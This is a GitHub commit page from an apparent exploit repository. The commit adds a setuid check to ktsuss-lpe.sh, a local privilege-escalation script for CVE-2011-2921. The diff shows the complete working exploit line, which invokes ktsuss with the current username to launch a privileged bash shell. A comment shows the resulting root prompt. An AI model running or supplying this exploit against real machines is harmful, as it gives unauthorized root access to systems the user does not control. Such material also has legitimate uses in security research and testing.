Skip to content

Commit 7d1584c

Browse files
authoredAug 21, 2019
Merge pull request bcoles#9 from bcoles/cve-2011-2921
Add setuid check and chmod +x
2 parents 3ee976f + 70c6c2c commit 7d1584c

File tree

1 file changed

+6
-0
lines changed

1 file changed

+6
-0
lines changed
 

‎CVE-2011-2921/ktsuss-lpe.sh

100644100755
+6
Original file line numberDiff line numberDiff line change
@@ -35,5 +35,11 @@
3535
# bash-5.0#
3636
# ---
3737
# 2019-08-18 - <bcoles@gmail.com>
38+
# https://github.com/bcoles/local-exploits/tree/master/CVE-2011-2921
39+
40+
if ! test -u "/usr/bin/ktsuss"; then
41+
echo '[-] /usr/bin/ktsuss is not setuid root'
42+
exit 1
43+
fi
3844

3945
/usr/bin/ktsuss -u `/usr/bin/id -un` /bin/bash -p

0 commit comments

Comments
 (0)
Please sign in to comment.